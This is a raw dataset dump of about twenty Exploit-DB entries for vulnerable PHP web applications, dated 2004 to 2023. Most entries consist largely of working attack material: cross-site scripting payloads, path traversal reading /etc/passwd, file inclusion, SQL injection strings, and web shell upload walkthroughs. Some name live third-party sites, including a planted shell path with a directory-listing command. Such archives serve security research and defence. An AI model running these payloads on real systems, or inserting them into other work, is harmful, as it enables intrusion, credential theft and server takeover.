deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33085
Description: Scriptsez Easy Image Downloader - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-14
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35701/info

Easy Image Downloader is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example URI is available:

http://www.example.com/easy_image/main.php?action=detail&id= XSS TO ADD: 1>'><ScRiPt%20%0a%0d>alert[PII_REDACTED]16)%3B</ScRiPt>
Exploit-DB #6715
Description: Scriptsez Easy Image Downloader - Local File Download
Type: webapps
Platform: php
Date: 2008-10-09
Author: JosS

Exploit:
# ScriptsEz Easy Image Downloader Local File Download Vulnerability
# url: http://www.scriptsez.net/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

PoC:     /main.php?action=download&id=[FILE]
Exploit: /main.php?action=download&id=../../../../../../../../../../../../../../../etc/passwd

live demo:
http://demo.scriptsez.net/easy_image/main.php?action=download&id=../../../../../../../../../../../../../../../etc/passwd

# milw0rm.com [2008-10-09]
Exploit-DB #34357
Description: Scriptsez Ez FAQ Maker 1.0 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2009-12-15
Author: Milos Zivanovic

Exploit:
source: https://www.securityfocus.com/bid/41806/info

ScriptsEz Ez FAQ Maker is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.

An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, disclose or modify sensitive information, or perform unauthorized actions. Other attacks are also possible.

Ez FAQ Maker 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/faq/index.php?action=showcat&cid=8&sid="[XSS]
Exploit-DB #6713
Description: Scriptsez Mini Hosting Panel - 'members.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-09
Author: JosS

Exploit:
# ScriptsEz Mini Hosting Panel (members.php) Local File Inclusion Vulnerability
# url: http://www.scriptsez.net/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: members.php

PoC:             /members.php?act=view&p=[FILE]&dir=[DIR]
Exploits: 
/etc/passwd/ --> /members.php?act=view&p=passwd&dir=../../../../../../../../../../../../etc/
conf.php     --> /members.php?act=view&p=conf.php&dir=/test/../../..

live demo:
http://hosting.cgixp.apkafuture.com/index.php?action=login
demo:demo (user login)

http://hosting.cgixp.apkafuture.com/members.php?act=view&p=passwd&dir=../../../../../../../../../../../../etc/
http://hosting.cgixp.apkafuture.com/members.php?act=view&p=conf.php&dir=/test/../../..

Ingenious work :D

# milw0rm.com [2008-10-09]
Exploit-DB #34783
Description: Scriptsez Ultimate Poll - 'demo_page.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-16
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43552/info

Ultimate Poll is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/up/demo_page.php?action=vote&pid=test_poll&clr=1>&#039;><ScRiPt%20%0a%0d>alert[PII_REDACTED]86)%3B</ScRiPt>
Exploit-DB #7111
Description: ScriptsFeed (SF) Auto Classifieds Software - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-13
Author: ZoRLu

Exploit:
[~] ScriptsFeed (SF) Auto Classifieds Software Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 13.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 39
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

http://localhost/script/cars_images/[id]_logo_your_shell.php

you register to site 

register: http://localhost/script/register.php

after you login to site

login: http://localhost/script/login.php

more after you go profile edit

profile: http://localhost/script/profile.php

and you upload your_shell.php right click to your logo and select properties copy link

paste your explorer go your_shell.php

your_shell.php path:

http://localhost/script/cars_images/[id]_logo_your_shell.php



rfu for demo:

user: zorlu

[CREDENTIAL_REDACTED]

shell path:

http://www.scriptsfeed.com/demos/auto_classifieds_1/cars_images/[PII_REDACTED]_logo_c.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-13]
Exploit-DB #7110
Description: ScriptsFeed (SF) Real Estate Classifieds Software - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-13
Author: ZoRLu

Exploit:
[~] ScriptsFeed (SF) Real Estate Classifieds Software Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 13.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 39
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

http://localhost/script/re_images/[id]_logo_your_shell.php

you register to site 

register: http://localhost/script/register.php

after you login to site

login: http://localhost/script/login.php

more after you go profile edit

profile: http://localhost/script/profile.php

and you upload your_shell.php right click to your logo and select properties copy link

paste your explorer go your_shell.php

your_shell.php path:

http://localhost/script/re_images/[id]_logo_your_shell.php



rfu for demo:

user: zorlu

[CREDENTIAL_REDACTED]

shell path:

http://www.scriptsfeed.com/demos/realtor_web_6/re_images/[PII_REDACTED]_logo_c.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-13]
Exploit-DB #7112
Description: ScriptsFeed (SF) Recipes Listing Portal - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-13
Author: ZoRLu

Exploit:
[~] ScriptsFeed (SF) Recipes Listing Portal Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 13.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 39
[~]
[~] my target bug number: 100
[~]
[~] dork: allinurl:"recipedetail.php?id="  ( Ã§ok site var sÃ¶mÃ¼rÃ¼n : ) )
[~]
[~] -----------------------------------------------------------


Exploit:

http://localhost/script/pictures/[id]your_shell.php

you register to site 

register: http://localhost/script/register.php

after you login to site

login: http://localhost/script/login.php

more after you click to "Add a Recipe" and add recipe

and after click to "View your Recipes" click to you recipe open new page 

right click to your photo. select properties copy photo lick

and paste your explorer go your shell

your_shell.php path:

http://localhost/script/pictures/[id]your_shell.php



rfu for demo:

user: zorlu

[CREDENTIAL_REDACTED]

shell path:

http://www.scriptsfeed.com/demos/recipes_website_1/pictures/[PII_REDACTED]c.php



example 2: 

user: zorlu

[CREDENTIAL_REDACTED]

shell:

http://onlineyemektarifi.com/pictures/[PII_REDACTED]c.php? ( hemen indexlemeyin kurcalayIn serverI )

misal:

http://onlineyemektarifi.com/pictures/[PII_REDACTED]c.php?act=ls&d=%2Fetc%2Fvdomainaliases ( server daki siteler )


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-13]
Exploit-DB #51491
Description: SCRMS 2023-05-27 1.0 - Multiple SQL Injection
Type: webapps
Platform: php
Date: 2023-05-31
Author: nu11secur1ty

Exploit:
## Exploit Title: SCRMS 2023-05-27 1.0 - Multiple SQLi
## Author: nu11secur1ty
## Date: 05.27.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/15895/simple-customer-relationship-management-crm-system-using-php-free-source-coude.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `email` parameter appears to be vulnerable to SQL injection
attacks. The test payloads 45141002' or 6429=6429-- and 37491017' or
5206=5213-- were each submitted in the email parameter. These two
requests resulted in different responses, indicating that the input is
being incorporated into a SQL query in an unsafe way. The attacker can
easily steal all users and their passwords for access to the system.
Even if they are strongly encrypted this will get some time, but this
is not a problem for an attacker to decrypt if, if they are not enough
strongly encrypted.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: email=-1544' OR 2326=2326-- eglC&[CREDENTIAL_REDACTED]=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/SCRMS-2023-05-27-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/scrms-2023-05-27-10-multiple-sqli.html)

## Time spend:
01:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #37548
Description: Scrutinizer 9.0.1.19899 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-07-30
Author: Mario Ceballos

Exploit:
source: https://www.securityfocus.com/bid/54726/info

Scrutinizer is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /d4d/uploader.php HTTP/1.0
Host: A.B.C.D
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_949_[PII_REDACTED]_[PII_REDACTED]
Content-Length: 210


--_Part_949_[PII_REDACTED]_[PII_REDACTED]
Content-Disposition: form-data; 
name="uploadedfile"; filename="trustwave.txt"
Content-Type: application/octet-stream

trustwave

--_Part_949_[PII_REDACTED]_[PII_REDACTED]--

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:39:15 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Length: 41
Connection: close
Content-Type: text/html

{"success":1,"file_name":"trustwave.txt"}

#Confirming on File System
C:\>type "Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt"
trustwave
Exploit-DB #37547
Description: Scrutinizer 9.0.1.19899 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-07-30
Author: Mario Ceballos

Exploit:
source: https://www.securityfocus.com/bid/54725/info

Scrutinizer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request 1
GET /d4d/exporters.php?a<script>alert(123)</script>=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive

#Response 1
<snip>
<a href="/d4d/exporters.php?a<script>alert(1)</script>=1">/d4d/exporters.php?a<script>alert(123)</script>=1</a></td></tr>
<snip>

#Request 2
GET /d4d/exporters.php HTTP/1.1
Host: A.B.C.D
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1
Content-Length: 2

#Response 2
<snip>
<a href="http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1">http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1</a>
<snip>
Exploit-DB #27724
Description: Scry Gallery - Directory Traversal
Type: webapps
Platform: php
Date: 2006-04-21
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17649/info

Scry Gallery is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/scry/index.php?v=list&i=0&p=../../..
Exploit-DB #27729
Description: Scry Gallery 1.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-24
Author: mayank

Exploit:
source: https://www.securityfocus.com/bid/17668/info

Scry Gallery is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Scry Gallery version 1.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[Path to scry gallery]/index.php?v=list&i=0&p=<script>var%20variable=[PII_REDACTED]1111111;alert(variable);</script>
Exploit-DB #24676
Description: SCT Campus Pipeline 1.0/2.x/3.x - 'Render.UserLayoutRootNode.uP' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-10-13
Author: Matthew Oyer

Exploit:
source: https://www.securityfocus.com/bid/11392/info

Campus Pipeline is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input. 

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/cp/render.UserLayoutRootNode.uP?uP_tparam=utf
<http://www.example.com/cp/render.UserLayoutRootNode.uP?uP_tparam=utf&utf
> &utf= script.
Exploit-DB #24008
Description: SCT Campus Pipeline 1.0/2.x/3.x - Email Attachment Script Injection
Type: webapps
Platform: php
Date: 2004-04-15
Author: spiffomatic 64

Exploit:
source: https://www.securityfocus.com/bid/10154/info

It has been reported that Campus Pipeline is prone to a remote email attachment script injection vulnerability. This issue is due to a failure of the application to properly sanitize user supplied HTML and script code contained in email documents.

This issue may allow a remote attacker to gain control of an unsuspecting user's email account; by executing specific script code an attacker can manipulate the victim's email account. It may be possible for an attacker to steal cookie based authentication credentials as well, and due to the integrated nature of this software this may potentially lead to further compromise of the victim's account. It should be noted that this has not been confirmed.

To delete the current email message:
<html><body onload=?deleteMessage()?></body><html>

This exploit will open a new email message with attacker-supplied text:
<html><body
onload="location.replace('http://www.example.com/cp/email/composeBody?function=new&to=attacker@example.com&subject=I
love you matt&body=I was owned by matt')"></body></html>

Site redirection:
<html><body onload="location.replace('http://www.example.com/attackerSpecified.html')">
</body></html>
Exploit-DB #4604
Description: scWiki 1.0 Beta 2 - 'common.php?pathdot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-03
Author: GoLd_M

Exploit:
scWiki 1.0 Beta 2 (common.php pathdot) Remote File Inclusion Vulnerability
http://heanet.dl.sourceforge.net/sourceforge/sc-wiki/scwiki_beta2.zip
POC :
    /includes/common.php?pathdot=Shell

# milw0rm.com [2007-11-03]
Exploit-DB #4980
Description: Seagull 0.6.3 - 'files' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-01-24
Author: fuzion

Exploit:
              __fuzion___    ____     
       ______/   \__//   \__/____\    
     _/   \_/  :           //____\\   
    /|      :  :  ..      /        \  
   | |     ::     ::      \        /  
   | |     :|     ||     \ \______/   
   | |     ||     ||      |\  /  |    
    \|     ||     ||      |   / | \   
     |     ||     ||      |  / /_\ \  
     | ___ || ___ ||      | /  /    \ 
      \_-_/  \_-_/ | ____ |/__/      \
                   _\_--_/    \      /
                  /____             / 
                 /     \           /  
                 \______\_________/   


Product:
Seagull STABLE 0.6.3
http://seagullproject.org/

Vulnerable:
optimizer.php; line 61

        // get files and it's mod time
        if (!empty($_GET['files'])) {
            $filesString = $_GET['files'];
            $aFiles = explode(',', $_GET['files']);
            foreach ($aFiles as $fileName) {
                if (is_file($jsFile = dirname(__FILE__) . '/' . $fileName)) {
                    $this->aFiles[] = $jsFile;
                    $lastMod = max($lastMod, filemtime($jsFile));

PoC:
http://pentest.localhost/seagull-0.6.3/www/optimizer.php?files=../../../../../../../../etc/passwd

Greetings to:
d3hydr8, whoami, beenu, kasi, MosDef, etc
Everyone at darkc0de.com & rootmybox.org

# milw0rm.com [2008-01-24]
Exploit-DB #14841
Description: seagull 0.6.7 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-30
Author: FoX HaCkEr

Exploit:
=================================
seagull-0.6.7 <===remote file inclode 
=================================
# Exploit Title : seagull-0.6.7 <===remote file inclode

# Date: 2010-08-29

# Author : FoX HaCkEr

#Contact : MKQ@HoTmAiL.CoM

# SiTe : www.sec4ever.com

# Download: http://seagullproject.org/ 

# Version:6.7
  
# Google dork: [sorry]

======================================================================================================
exploit :

http://localhost/fog/lib/pear/Config/Container.php?includeFile=[EV!L]
http://localhost/fog/lib/pear/DB/NestedSet.php?driverpath=[EV!L]
http://localhost/fog/lib/pear/HTML/QuickForm.php?includeFile=[EV!L]
http://localhost/fog/lib/pear/DB/NestedSet/Output.php?path=[EV!L]
http://localhost/fog/lib/pear/HTML/QuickForm.php?includeFile=[EV!L]

=======================================================================================================

Gr33ts: Mr.MoDaMeR & SILVER FoX & Z7FAN HaCkEr & Black Cobra & KinG oF CnTroL & MadjiX & Ma3sTr0-Dz
Lagripe-Dz & Shi6oN HaCkEr & ALL Members sec4ever & ALL MY Friend in  MsN & ALL Members Sa-HaCkE
Exploit-DB #14838
Description: Seagull 0.6.7 - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-29
Author: Sweet

Exploit:
1                    ######################################            1
0                       Sweet the Algerian Haxxor                      0
1                    ######################################            0
0                                                                      1
1  [+]Exploit Title:    seagull-0.6.7 SQLinjection Vulnerabilitie      0
0  [+]Date: 29/08/2010                                                 1
1  [+]Author: Sweet                                                    0
0  [+]Contact : charif38@hotmail.fr                                    0
1  [+]Software Link: http://seagullproject.org/                        0
0  [+]Download:                                                        1
1  [+]Version: 0.6.7 and lesser                                        0
0  [+]Tested on: WinXp sp3                                             1
1  [+]Risk : Hight                                                     0
0  [+]Description : just another CMS                                   0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


SQL injection : 

in /seagnulPath/www/index.php/user/password with http request editor The POST variable frmQuestion has been set to 1' 

POC:

http://server/index.php/user/password/?action=retrieve&frmEmail=[PII_REDACTED]email@address.tst&frmQuestion=1'[SQLI]&frmAnswer=[PII_REDACTED]email@address.tst&submitted=retrieve  


screen shot:http://img163.imageshack.us/img163/3028/imagexp.jpg



thx to Milw0rm.com , JF - Hamst0r - Keystroke  , inj3ct0r.com , exploit-db.com


Saha Ftourkoum et 1,2,3 viva L'Algerie :))
Exploit-DB #36033
Description: Search Network 2.0 - 'query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-08
Author: darkTR

Exploit:
source: https://www.securityfocus.com/bid/49064/info

Search Network is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Search Network 2.0 is vulnerable; other versions may also be affected.

http://www.example/demo/search.php?action=search_results&query=[XSS Attack]